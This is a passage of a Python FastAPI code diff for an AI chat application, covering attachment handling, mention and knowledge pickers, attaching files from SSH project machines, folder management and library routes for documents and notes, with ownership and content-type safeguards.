||||
belongs to the message it was sent with, and two messages sharing one row
|
||||
would make deleting either of them a question rather than an answer.
|
||||
"""
|
||||
original = db.get(Attachment, attachment_id)
|
||||
if original is None or original.user_id != user.id:
|
||||
return _not_available(request, "attachment")
|
||||
|
||||
return _chip(
|
||||
request,
|
||||
files_service.copy_attachment(
|
||||
db, user_id=user.id, chat_id=chat_id or None, attachment=original
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
@router.get("/knowledge-picker", dependencies=[Depends(require_permission("files.upload"))])
|
||||
async def knowledge_picker(
|
||||
request: Request, db: Db, user: RequiredUser, q: str = "", chat_id: str = ""
|
||||
) -> Response:
|
||||
"""The list of documents shown by the composer's Knowledge option."""
|
||||
if q.strip():
|
||||
found = documents_service.search(db, user, q, limit=20)
|
||||
else:
|
||||
found = list(
|
||||
db.scalars(
|
||||
documents_service.visible(db, user)
|
||||
.order_by(Document.created_at.desc())
|
||||
.limit(20)
|
||||
)
|
||||
)
|
||||
return templates.TemplateResponse(
|
||||
request,
|
||||
"chat/_knowledge_picker.html",
|
||||
# `user` is read by the template to mark documents shared by someone
|
||||
# else; render() would inject it, but this is a fragment.
|
||||
{"request": request, "documents": found, "q": q, "chat_id": chat_id, "user": user},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/mention-picker", dependencies=[Depends(require_permission("files.upload"))])
|
||||
async def mention_picker(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
q: str = "",
|
||||
chat_id: str = "",
|
||||
profile_id: str = "",
|
||||
project_dir: str = "",
|
||||
) -> Response:
|
||||
"""What `@` offers: files under the project directory, and the library.
|
||||
|
||||
One menu from two sources, because a person typing `@readme` is not
|
||||
thinking about which store the answer lives in. The project half is only
|
||||
there for an agent chat and only when a listing has already been built --
|
||||
this is a keystroke-latency path and it must never wait on a machine.
|
||||
|
||||
Filtered server-side, like the knowledge picker beside it and for the same
|
||||
reason: the library is searched with FTS rather than filtered in the
|
||||
browser, which is what makes it work at five hundred documents. The project
|
||||
half is filtered here too, so the client stays one `fetch` and a list.
|
||||
"""
|
||||
needle = q.strip().lower()
|
||||
|
||||
files: list[dict] = []
|
||||
if profile_id and permissions.has(db, user, "tools.agent"):
|
||||
from lembas.db.models import SshProfile
|
||||
from lembas.services.agent import index as index_service
|
||||
|
||||
profile = db.get(SshProfile, profile_id)
|
||||
# Re-checked rather than trusted from the query string: an id in a URL
|
||||
# is not an authorisation, and this lists somebody's machine.
|
||||
if profile is not None and profile.owner_id == user.id:
|
||||
found = index_service.cached(profile_id, project_dir or profile.default_dir)
|
||||
if found is not None:
|
||||
files = [
|
||||
{"path": path, "name": path.rstrip("/").rsplit("/", 1)[-1]}
|
||||
for path in found.paths
|
||||
if not needle or needle in path.lower()
|
||||
][:20]
|
||||
|
||||
documents: list = []
|
||||
notes: list = []
|
||||
skills: list = []
|
||||
bases: list = []
|
||||
if permissions.has(db, user, "library.use"):
|
||||
if needle:
|
||||
documents = documents_service.search(db, user, q, limit=10)
|
||||
notes = notes_service.search(db, user, q, limit=5)
|
||||
skills = skills_service.search(db, user, q, limit=5)
|
||||
else:
|
||||
documents = list(
|
||||
db.scalars(
|
||||
documents_service.visible(db, user)
|
||||
.order_by(Document.created_at.desc())
|
||||
.limit(10)
|
||||
)
|
||||
)
|
||||
notes = list(
|
||||
db.scalars(
|
||||
notes_service.visible(db, user).order_by(Note.updated_at.desc()).limit(5)
|
||||
)
|
||||
)
|
||||
skills = list(db.scalars(skills_service.visible(db, user).limit(5)))
|
||||
|
||||
# A whole base is a *reference*, not a copy: attaching one scopes the
|
||||
# chat to it and the model searches inside it. Dumping the contents of
|
||||
# a folder of contracts into the window would be the wrong shape
|
||||
# entirely, and `Chat.knowledge_bases` already means exactly this.
|
||||
# Only in an existing chat, because there is nothing to attach it to
|
||||
# before one exists -- the same reason project files are absent there.
|
||||
if chat_id:
|
||||
bases = [
|
||||
base
|
||||
for base in db.scalars(
|
||||
documents_service.visible_bases(db, user).order_by(KnowledgeBase.name)
|
||||
)
|
||||
if not needle or needle in base.name.lower()
|
||||
][:5]
|
||||
|
||||
# A URL typed after `@` is a page to read, not a name to look up. The
|
||||
# fetcher, its SSRF guard and its HTML-to-text already live behind
|
||||
# `/api/files/link`; this only offers it.
|
||||
website = q.strip() if q.strip().lower().startswith(("http://", "https://")) else ""
|
||||
|
||||
attachments: list = []
|
||||
if chat_id and needle:
|
||||
attachments = list(
|
||||
db.scalars(
|
||||
select(Attachment)
|
||||
.where(
|
||||
Attachment.user_id == user.id,
|
||||
Attachment.chat_id == chat_id,
|
||||
Attachment.message_id.is_not(None),
|
||||
)
|
||||
.order_by(Attachment.created_at.desc())
|
||||
.limit(20)
|
||||
)
|
||||
)
|
||||
attachments = [a for a in attachments if needle in a.filename.lower()][:5]
|
||||
|
||||
return templates.TemplateResponse(
|
||||
request,
|
||||
"chat/_mention_picker.html",
|
||||
{
|
||||
"request": request,
|
||||
"user": user,
|
||||
"files": files,
|
||||
"documents": documents,
|
||||
"notes": notes,
|
||||
"skills": skills,
|
||||
"bases": bases,
|
||||
"attachments": attachments,
|
||||
"website": website,
|
||||
"q": q,
|
||||
"chat_id": chat_id,
|
||||
"profile_id": profile_id,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/from-project", dependencies=[Depends(require_permission("files.upload"))])
|
||||
async def attach_from_project(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
profile_id: str = Form(""),
|
||||
path: str = Form(""),
|
||||
chat_id: str = Form(""),
|
||||
) -> Response:
|
||||
"""Pull one file off the far machine and attach it to this message.
|
||||
|
||||
Its contents, not a reference: a model that has to spend a round calling
|
||||
`file_read` often does not bother, and on a plain chat there is no
|
||||
`file_read` to call. The path and the machine travel with it, so the model
|
||||
is told exactly which file it is looking at rather than a bare basename it
|
||||
cannot act on.
|
||||
|
||||
A directory attaches its listing instead of refusing -- "@ that folder" is
|
||||
a reasonable thing to mean, and the listing is what it means.
|
||||
"""
|
||||
from lembas.db.models import SshProfile
|
||||
from lembas.services.agent import ssh as ssh_service
|
||||
from lembas.services.agent.base import ExecError
|
||||
|
||||
def _failed(message: str) -> Response:
|
||||
return templates.TemplateResponse(
|
||||
request,
|
||||
"chat/_attachment_error.html",
|
||||
{"request": request, "filename": path or "file", "error": message},
|
||||
)
|
||||
|
||||
if not permissions.has(db, user, "tools.agent"):
|
||||
return _failed("You do not have access to connections.")
|
||||
|
||||
profile = db.get(SshProfile, profile_id)
|
||||
if profile is None or profile.owner_id != user.id or not profile.enabled:
|
||||
return _failed("That connection is not available.")
|
||||
if hint := ssh_service.available():
|
||||
return _failed(hint)
|
||||
|
||||
wanted = path.strip()
|
||||
if not wanted:
|
||||
return _failed("No file was named.")
|
||||
|
||||
executor = ssh_service.SshExecutor(ssh_service.spec_from(profile), profile.default_dir)
|
||||
try:
|
||||
if wanted.endswith("/"):
|
||||
names = await executor.list_dir(wanted.rstrip("/"))
|
||||
body = "\n".join(names)
|
||||
truncated = len(names) >= ssh_service.MAX_ENTRIES
|
||||
else:
|
||||
body = await executor.read_file(wanted, max_bytes=ssh_service.MAX_READ_BYTES)
|
||||
truncated = len(body.encode("utf-8", "ignore")) >= ssh_service.MAX_READ_BYTES
|
||||
except ExecError as exc:
|
||||
return _failed(exc.message)
|
||||
|
||||
attachment = files_service.store_text(
|
||||
db,
|
||||
user_id=user.id,
|
||||
chat_id=chat_id or None,
|
||||
filename=wanted.rstrip("/").rsplit("/", 1)[-1] or wanted,
|
||||
text=body,
|
||||
truncated=truncated,
|
||||
source_path=wanted,
|
||||
source_label=profile.name,
|
||||
)
|
||||
return templates.TemplateResponse(
|
||||
request, "chat/_attachment_chip.html", {"request": request, "attachment": attachment}
|
||||
)
|
||||
|
||||
|
||||
@router.delete("/{attachment_id}")
|
||||
async def remove(db: Db, user: RequiredUser, attachment_id: str) -> Response:
|
||||
"""Detach a file before it has been sent."""
|
||||
attachment = _owned(db, attachment_id, user.id)
|
||||
if attachment.message_id is not None:
|
||||
# Deleting it now would rewrite a conversation that has already been
|
||||
# sent to a model and read by the user.
|
||||
raise HTTPException(
|
||||
status.HTTP_409_CONFLICT, "That file is part of a sent message."
|
||||
)
|
||||
files_service.delete(db, attachment)
|
||||
return Response(status_code=status.HTTP_200_OK)
|
||||
|
||||
|
||||
@router.get("/{attachment_id}/content")
|
||||
async def content(db: Db, user: RequiredUser, attachment_id: str) -> Response:
|
||||
"""Serve an attachment back to its owner."""
|
||||
attachment = _owned(db, attachment_id, user.id)
|
||||
path = files_service.stored_path(attachment.stored_name)
|
||||
if path is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That file is no longer on disk.")
|
||||
|
||||
# inline for images so they render in the thread; attachment for everything
|
||||
# else so a text/html upload can never be executed in this origin.
|
||||
disposition = "inline" if attachment.is_image else "attachment"
|
||||
return FileResponse(
|
||||
path,
|
||||
media_type=attachment.media_type if attachment.is_image else "application/octet-stream",
|
||||
headers={
|
||||
"Content-Disposition": f'{disposition}; filename="{attachment.filename}"',
|
||||
"Cache-Control": "private, max-age=604800",
|
||||
# Belt and braces: even for images, never let a browser sniff its
|
||||
# way to treating the bytes as something executable.
|
||||
"X-Content-Type-Options": "nosniff",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/{attachment_id}/text")
|
||||
async def extracted_text(db: Db, user: RequiredUser, attachment_id: str) -> Response:
|
||||
"""The text a document contributed to the prompt.
|
||||
|
||||
Worth being able to see: a PDF that extracted badly explains a strange
|
||||
reply, and there is otherwise no way to tell what the model was given.
|
||||
"""
|
||||
attachment = _owned(db, attachment_id, user.id)
|
||||
return Response(
|
||||
attachment.extracted_text or attachment.extraction_error,
|
||||
media_type="text/plain; charset=utf-8",
|
||||
)
|
||||
@@ -0,0 +1,123 @@
|
||||
"""Folder management."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from fastapi import APIRouter, Depends, Form, HTTPException, Response, status
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser, require_permission
|
||||
from lembas.db.models import Folder
|
||||
|
||||
# Every route here manages folders, so the guard belongs on the router.
|
||||
router = APIRouter(
|
||||
prefix="/api/folders",
|
||||
tags=["folders"],
|
||||
dependencies=[Depends(require_permission("folder.manage"))],
|
||||
)
|
||||
|
||||
MAX_DEPTH = 8
|
||||
|
||||
|
||||
def _owned_folder(db: DBSession, folder_id: str, user_id: str) -> Folder:
|
||||
folder = db.get(Folder, folder_id)
|
||||
if folder is None or folder.user_id != user_id:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That folder no longer exists.")
|
||||
return folder
|
||||
|
||||
|
||||
def _depth_of(db: DBSession, folder: Folder | None) -> int:
|
||||
depth = 0
|
||||
seen: set[str] = set()
|
||||
while folder is not None and folder.id not in seen:
|
||||
seen.add(folder.id)
|
||||
depth += 1
|
||||
folder = db.get(Folder, folder.parent_id) if folder.parent_id else None
|
||||
return depth
|
||||
|
||||
|
||||
def _refresh_sidebar() -> Response:
|
||||
"""Tell the browser to reload so the tree re-renders.
|
||||
|
||||
The folder tree is recursive and a change can move any part of it, so
|
||||
re-rendering the whole sidebar server-side is both simpler and less
|
||||
error-prone than trying to patch individual nodes over the wire.
|
||||
"""
|
||||
response = Response(status_code=status.HTTP_204_NO_CONTENT)
|
||||
response.headers["HX-Refresh"] = "true"
|
||||
return response
|
||||
|
||||
|
||||
@router.post("")
|
||||
async def create_folder(
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
name: str = Form("New folder"),
|
||||
parent_id: str = Form(""),
|
||||
) -> Response:
|
||||
parent = _owned_folder(db, parent_id, user.id) if parent_id else None
|
||||
|
||||
# A cap on nesting, so a runaway client cannot build a tree deep enough to
|
||||
# blow the recursion limit in the template.
|
||||
if parent is not None and _depth_of(db, parent) >= MAX_DEPTH:
|
||||
raise HTTPException(
|
||||
status.HTTP_400_BAD_REQUEST,
|
||||
f"Folders cannot be nested more than {MAX_DEPTH} deep.",
|
||||
)
|
||||
|
||||
db.add(
|
||||
Folder(
|
||||
user_id=user.id,
|
||||
name=name.strip()[:200] or "New folder",
|
||||
parent_id=parent.id if parent else None,
|
||||
)
|
||||
)
|
||||
db.commit()
|
||||
return _refresh_sidebar()
|
||||
|
||||
|
||||
@router.patch("/{folder_id}")
|
||||
async def update_folder(
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
folder_id: str,
|
||||
name: str | None = Form(None),
|
||||
parent_id: str | None = Form(None),
|
||||
collapsed: bool | None = Form(None),
|
||||
) -> Response:
|
||||
folder = _owned_folder(db, folder_id, user.id)
|
||||
|
||||
if name is not None and name.strip():
|
||||
folder.name = name.strip()[:200]
|
||||
|
||||
if parent_id is not None:
|
||||
new_parent = _owned_folder(db, parent_id, user.id) if parent_id else None
|
||||
# Reparenting a folder into its own subtree would detach that subtree
|
||||
# from the root and make it unreachable.
|
||||
cursor = new_parent
|
||||
while cursor is not None:
|
||||
if cursor.id == folder.id:
|
||||
raise HTTPException(
|
||||
status.HTTP_400_BAD_REQUEST,
|
||||
"A folder cannot be moved inside itself.",
|
||||
)
|
||||
cursor = db.get(Folder, cursor.parent_id) if cursor.parent_id else None
|
||||
folder.parent_id = new_parent.id if new_parent else None
|
||||
|
||||
if collapsed is not None:
|
||||
folder.collapsed = collapsed
|
||||
|
||||
db.commit()
|
||||
return _refresh_sidebar()
|
||||
|
||||
|
||||
@router.delete("/{folder_id}")
|
||||
async def delete_folder(db: Db, user: RequiredUser, folder_id: str) -> Response:
|
||||
"""Delete a folder. Child folders go with it; chats do not.
|
||||
|
||||
Chats fall back to the unfiled list (the FK is ON DELETE SET NULL), because
|
||||
losing a conversation to a mis-clicked folder delete is unforgivable.
|
||||
"""
|
||||
folder = _owned_folder(db, folder_id, user.id)
|
||||
db.delete(folder)
|
||||
db.commit()
|
||||
return _refresh_sidebar()
|
||||
@@ -0,0 +1,574 @@
|
||||
"""The library: knowledge documents, notes, skills — and memory in settings.
|
||||
|
||||
List-plus-detail throughout, the same shape as the model admin: compact rows
|
||||
with search and pagination, and a full form on its own page. A library is
|
||||
expected to run to hundreds of items, and a page that renders a form per row is
|
||||
unusable at that size.
|
||||
|
||||
Every read goes through ``services.sharing.visible_to`` and every write through
|
||||
``owner_id``. Sharing grants reading only -- two people editing one note with no
|
||||
history and no merge is worse than the inconvenience of copying it.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Depends, File, Form, HTTPException, Request, UploadFile, status
|
||||
from fastapi.responses import FileResponse, RedirectResponse, Response
|
||||
from sqlalchemy import func, select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser, require_permission
|
||||
from lembas.api.pages import sidebar_context
|
||||
from lembas.db.models import (
|
||||
AUTHOR_USER,
|
||||
PRINCIPAL_GROUP,
|
||||
PRINCIPAL_USER,
|
||||
Document,
|
||||
Group,
|
||||
KnowledgeBase,
|
||||
Note,
|
||||
Skill,
|
||||
SkillRevision,
|
||||
User,
|
||||
)
|
||||
from lembas.security import permissions
|
||||
from lembas.services import files as files_service
|
||||
from lembas.services import settings_store, sharing
|
||||
from lembas.services.fetch import FetchError, fetch
|
||||
from lembas.services.library import documents as documents_service
|
||||
from lembas.services.library import memories as memories_service
|
||||
from lembas.services.library import notes as notes_service
|
||||
from lembas.services.library import skills as skills_service
|
||||
from lembas.services.markdown import render_markdown
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(dependencies=[Depends(require_permission("library.use"))], tags=["library"])
|
||||
|
||||
PAGE_SIZE = 30
|
||||
|
||||
|
||||
def _page(db: DBSession, query, page: int):
|
||||
"""One page of a visibility-filtered query, plus what the pager needs."""
|
||||
total = db.scalar(select(func.count()).select_from(query.subquery())) or 0
|
||||
pages = max(1, (total + PAGE_SIZE - 1) // PAGE_SIZE)
|
||||
page = min(max(page, 1), pages)
|
||||
rows = list(db.scalars(query.offset((page - 1) * PAGE_SIZE).limit(PAGE_SIZE)))
|
||||
return rows, {"page": page, "pages": pages, "total": total}
|
||||
|
||||
|
||||
def _shared_context(db: DBSession, user: User, resource) -> dict:
|
||||
"""Everything the share panel on a detail page needs."""
|
||||
grants = sharing.grants_for(db, resource)
|
||||
return {
|
||||
"can_share": permissions.has(db, user, "library.share"),
|
||||
"groups": list(db.scalars(select(Group).order_by(Group.name))),
|
||||
"people": list(
|
||||
db.scalars(select(User).where(User.id != user.id).order_by(User.name))
|
||||
),
|
||||
"shared_users": [g.principal_id for g in grants if g.principal_type == PRINCIPAL_USER],
|
||||
"shared_groups": [g.principal_id for g in grants if g.principal_type == PRINCIPAL_GROUP],
|
||||
"is_owner": resource.owner_id == user.id,
|
||||
}
|
||||
|
||||
|
||||
def _apply_shares(db: DBSession, user: User, resource, form) -> None:
|
||||
if not permissions.has(db, user, "library.share") or resource.owner_id != user.id:
|
||||
return
|
||||
sharing.set_grants(
|
||||
db,
|
||||
resource,
|
||||
user_ids=form.getlist("share_user"),
|
||||
group_ids=form.getlist("share_group"),
|
||||
)
|
||||
|
||||
|
||||
# --- Shell -------------------------------------------------------------------
|
||||
@router.get("/library")
|
||||
async def library_home(user: RequiredUser):
|
||||
return RedirectResponse("/library/knowledge", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
# --- Knowledge ---------------------------------------------------------------
|
||||
# Route order matters: /library/knowledge/document/{id} must be registered
|
||||
# before /library/knowledge/{base_id}, or "document" is parsed as a base id.
|
||||
# FastAPI matches in registration order and this has bitten before.
|
||||
@router.get("/library/knowledge")
|
||||
async def knowledge_list(request: Request, db: Db, user: RequiredUser, error: str = ""):
|
||||
"""The bases, not the documents. A library is a set of places first."""
|
||||
bases = list(db.scalars(documents_service.visible_bases(db, user).order_by(KnowledgeBase.name)))
|
||||
counts = {
|
||||
base.id: db.scalar(
|
||||
select(func.count()).select_from(Document).where(Document.base_id == base.id)
|
||||
)
|
||||
or 0
|
||||
for base in bases
|
||||
}
|
||||
return render(
|
||||
request,
|
||||
"library/knowledge.html",
|
||||
{
|
||||
"section": "knowledge",
|
||||
"bases": bases,
|
||||
"counts": counts,
|
||||
"error": error,
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/library/bases")
|
||||
async def create_base(
|
||||
db: Db, user: RequiredUser, name: str = Form(""), description: str = Form("")
|
||||
) -> Response:
|
||||
try:
|
||||
base = documents_service.create_base(
|
||||
db, owner=user, name=name, description=description
|
||||
)
|
||||
except ValueError as exc:
|
||||
from urllib.parse import quote
|
||||
|
||||
return RedirectResponse(
|
||||
f"/library/knowledge?error={quote(str(exc))}",
|
||||
status_code=status.HTTP_303_SEE_OTHER,
|
||||
)
|
||||
return RedirectResponse(
|
||||
f"/library/knowledge/{base.id}", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.get("/library/knowledge/document/{document_id}")
|
||||
async def knowledge_detail(request: Request, db: Db, user: RequiredUser, document_id: str):
|
||||
document = documents_service.get(db, document_id, user)
|
||||
if document is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That document is not available.")
|
||||
return render(
|
||||
request,
|
||||
"library/knowledge_detail.html",
|
||||
{
|
||||
"section": "knowledge",
|
||||
"document": document,
|
||||
"is_owner": sharing.can_write(document, user),
|
||||
# Only bases this person owns: moving a document into one they can
|
||||
# merely read would hand it to that base's owner.
|
||||
"user_bases": list(
|
||||
db.scalars(
|
||||
select(KnowledgeBase)
|
||||
.where(KnowledgeBase.owner_id == user.id)
|
||||
.order_by(KnowledgeBase.name)
|
||||
)
|
||||
),
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/library/knowledge/{base_id}")
|
||||
async def base_detail(
|
||||
request: Request, db: Db, user: RequiredUser, base_id: str, q: str = "", page: int = 1
|
||||
):
|
||||
base = documents_service.get_base(db, base_id, user)
|
||||
if base is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That knowledge base is not available.")
|
||||
|
||||
if q.strip():
|
||||
rows = documents_service.search(db, user, q, limit=PAGE_SIZE, base_ids=[base.id])
|
||||
pager = {"page": 1, "pages": 1, "total": len(rows)}
|
||||
else:
|
||||
rows, pager = _page(
|
||||
db,
|
||||
documents_service.visible(db, user, base_ids=[base.id]).order_by(
|
||||
Document.created_at.desc()
|
||||
),
|
||||
page,
|
||||
)
|
||||
return render(
|
||||
request,
|
||||
"library/base_detail.html",
|
||||
{
|
||||
"section": "knowledge",
|
||||
"base": base,
|
||||
"documents": rows,
|
||||
"q": q,
|
||||
"pager": pager,
|
||||
**_shared_context(db, user, base),
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/library/bases/{base_id}")
|
||||
async def update_base(request: Request, db: Db, user: RequiredUser, base_id: str) -> Response:
|
||||
base = documents_service.get_base(db, base_id, user)
|
||||
if base is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That knowledge base is not available.")
|
||||
if not sharing.can_write(base, user):
|
||||
raise HTTPException(status.HTTP_403_FORBIDDEN, "That base is not yours to change.")
|
||||
|
||||
form = await request.form()
|
||||
name = " ".join(str(form.get("name", "")).split())[:200]
|
||||
if name:
|
||||
base.name = name
|
||||
base.description = str(form.get("description", "")).strip()[:2000]
|
||||
db.commit()
|
||||
_apply_shares(db, user, base, form)
|
||||
return RedirectResponse(
|
||||
f"/library/knowledge/{base.id}", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/library/bases/{base_id}/delete")
|
||||
async def delete_base(db: Db, user: RequiredUser, base_id: str) -> Response:
|
||||
base = documents_service.get_base(db, base_id, user)
|
||||
if base is None or not sharing.can_write(base, user):
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That knowledge base is not available.")
|
||||
documents_service.delete_base(db, base)
|
||||
return RedirectResponse("/library/knowledge", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/api/library/documents")
|
||||
async def upload_document(
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
file: UploadFile = File(...),
|
||||
title: str = Form(""),
|
||||
base_id: str = Form(""),
|
||||
) -> Response:
|
||||
base = documents_service.get_base(db, base_id, user) if base_id else None
|
||||
if base is not None and not sharing.can_write(base, user):
|
||||
raise HTTPException(status.HTTP_403_FORBIDDEN, "That base is not yours to add to.")
|
||||
|
||||
payload = await file.read(files_service.MAX_UPLOAD_BYTES + 1)
|
||||
try:
|
||||
document = documents_service.store_upload(
|
||||
db,
|
||||
owner=user,
|
||||
payload=payload,
|
||||
filename=file.filename or "file",
|
||||
title=title,
|
||||
base=base,
|
||||
)
|
||||
except files_service.FileError as exc:
|
||||
raise HTTPException(status.HTTP_400_BAD_REQUEST, str(exc)) from exc
|
||||
return RedirectResponse(
|
||||
f"/library/knowledge/{document.base_id}", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/library/documents/link")
|
||||
async def save_link(
|
||||
db: Db, user: RequiredUser, url: str = Form(...), base_id: str = Form("")
|
||||
) -> Response:
|
||||
base = documents_service.get_base(db, base_id, user) if base_id else None
|
||||
if base is not None and not sharing.can_write(base, user):
|
||||
raise HTTPException(status.HTTP_403_FORBIDDEN, "That base is not yours to add to.")
|
||||
|
||||
config = settings_store.search(db)
|
||||
try:
|
||||
page = await fetch(url, allow_private=bool(config.get("allow_private_fetch")))
|
||||
except FetchError as exc:
|
||||
raise HTTPException(status.HTTP_400_BAD_REQUEST, exc.message) from exc
|
||||
document = documents_service.store_page(db, owner=user, page=page, base=base)
|
||||
return RedirectResponse(
|
||||
f"/library/knowledge/{document.base_id}", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/library/documents/{document_id}")
|
||||
async def update_document(
|
||||
request: Request, db: Db, user: RequiredUser, document_id: str
|
||||
) -> Response:
|
||||
document = documents_service.get(db, document_id, user)
|
||||
if document is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That document is not available.")
|
||||
if not sharing.can_write(document, user):
|
||||
raise HTTPException(status.HTTP_403_FORBIDDEN, "That document is not yours to change.")
|
||||
|
||||
form = await request.form()
|
||||
document.title = str(form.get("title", document.title)).strip()[:300] or document.title
|
||||
document.description = str(form.get("description", "")).strip()[:2000]
|
||||
|
||||
# Moving between bases changes who can see it, which is the whole point of
|
||||
# bases -- so the destination has to be one this person can write to.
|
||||
wanted = str(form.get("base_id", "")).strip()
|
||||
if wanted and wanted != document.base_id:
|
||||
destination = documents_service.get_base(db, wanted, user)
|
||||
if destination is not None and sharing.can_write(destination, user):
|
||||
document.base_id = destination.id
|
||||
|
||||
db.commit()
|
||||
return RedirectResponse(
|
||||
f"/library/knowledge/document/{document.id}", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/library/documents/{document_id}/delete")
|
||||
async def delete_document(db: Db, user: RequiredUser, document_id: str) -> Response:
|
||||
document = documents_service.get(db, document_id, user)
|
||||
if document is None or not sharing.can_write(document, user):
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That document is not available.")
|
||||
base_id = document.base_id
|
||||
documents_service.delete(db, document)
|
||||
return RedirectResponse(
|
||||
f"/library/knowledge/{base_id}", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
|
||||
|
||||
@router.get("/api/library/documents/{document_id}/content")
|
||||
async def document_content(db: Db, user: RequiredUser, document_id: str) -> Response:
|
||||
"""Serve a document's file.
|
||||
|
||||
Non-images go out as attachments with nosniff, exactly as chat attachments
|
||||
do: an uploaded .html must not be able to execute in this origin.
|
||||
"""
|
||||
document = documents_service.get(db, document_id, user)
|
||||
if document is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That document is not available.")
|
||||
path = documents_service.stored_path(document.stored_name)
|
||||
if path is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That file is no longer on disk.")
|
||||
|
||||
headers = {"X-Content-Type-Options": "nosniff"}
|
||||
if not document.is_image:
|
||||
headers["Content-Disposition"] = f'attachment; filename="{document.filename}"'
|
||||
return FileResponse(path, media_type=document.media_type, headers=headers)
|
||||
|
||||
|
||||
# --- Notes -------------------------------------------------------------------
|
||||
@router.get("/library/notes")
|
||||
async def notes_list(request: Request, db: Db, user: RequiredUser, q: str = "", page: int = 1):
|
||||
if q.strip():
|
||||
rows = notes_service.search(db, user, q, limit=PAGE_SIZE)
|
||||
pager = {"page": 1, "pages": 1, "total": len(rows)}
|
||||
else:
|
||||
rows, pager = _page(
|
||||
db, notes_service.visible(db, user).order_by(Note.updated_at.desc()), page
|
||||
)
|
||||
return render(
|
||||
request,
|
||||
"library/notes.html",
|
||||
{
|
||||
"section": "notes",
|
||||
"notes": rows,
|
||||
"q": q,
|
||||
"pager": pager,
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/library/notes/new")
|
||||
async def new_note(request: Request, db: Db, user: RequiredUser):
|
||||
return render(
|
||||
request,
|
||||
"library/note_detail.html",
|
||||
{"section": "notes", "note": None, **sidebar_context(db, user)},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/library/notes/{note_id}")
|
||||
async def note_detail(request: Request, db: Db, user: RequiredUser, note_id: str):
|
||||
note = notes_service.get(db, note_id, user)
|
||||
if note is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That note is not available.")
|
||||
return render(
|
||||
request,
|
||||
"library/note_detail.html",
|
||||
{
|
||||
"section": "notes",
|
||||
"note": note,
|
||||
"body_html": render_markdown(note.body),
|
||||
**_shared_context(db, user, note),
|
||||
**sidebar_context(db, user),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/library/notes")
|
||||
async def create_note(
|
||||
db: Db, user: RequiredUser, title: str = Form(""), body: str = Form("")
|
||||
) -> Response:
|
||||
note = notes_service.create(db, owner=user, title=title, body=body, author=AUTHOR_USER)
|
||||
return RedirectResponse(f"/library/notes/{note.id}", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/api/library/notes/{note_id}")
|
||||
async def update_note(request: Request, db: Db, user: RequiredUser, note_id: str) -> Response:
|
||||
note = notes_service.get(db, note_id, user)
|
||||
if note is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That note is not available.")
|
||||
if not sharing.can_write(note, user):
|
||||
raise HTTPException(status.HTTP_403_FORBIDDEN, "That note is not yours to change.")
|
||||
|
||||
form = await request.form()
|
||||
notes_service.update(db, note, title=str(form.get("title", "")), body=str(form.get("body", "")))
|
||||
_apply_shares(db, user, note, form)
|
||||
return RedirectResponse(f"/library/notes/{note.id}", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
@router.post("/api/library/notes/{note_id}/delete")
|
||||
async def delete_note(db: Db, user: RequiredUser, note_id: str) -> Response:
|
||||
note = notes_service.get(db, note_id, user)
|
||||
if note is None or not sharing.can_write(note, user):
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That note is not available.")
|
||||
notes_service.delete(db, note)
|
||||
return RedirectResponse("/library/notes", status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
# --- Skills ------------------------------------------------------------------
|
||||
@router.get("/library/skills")
|
||||
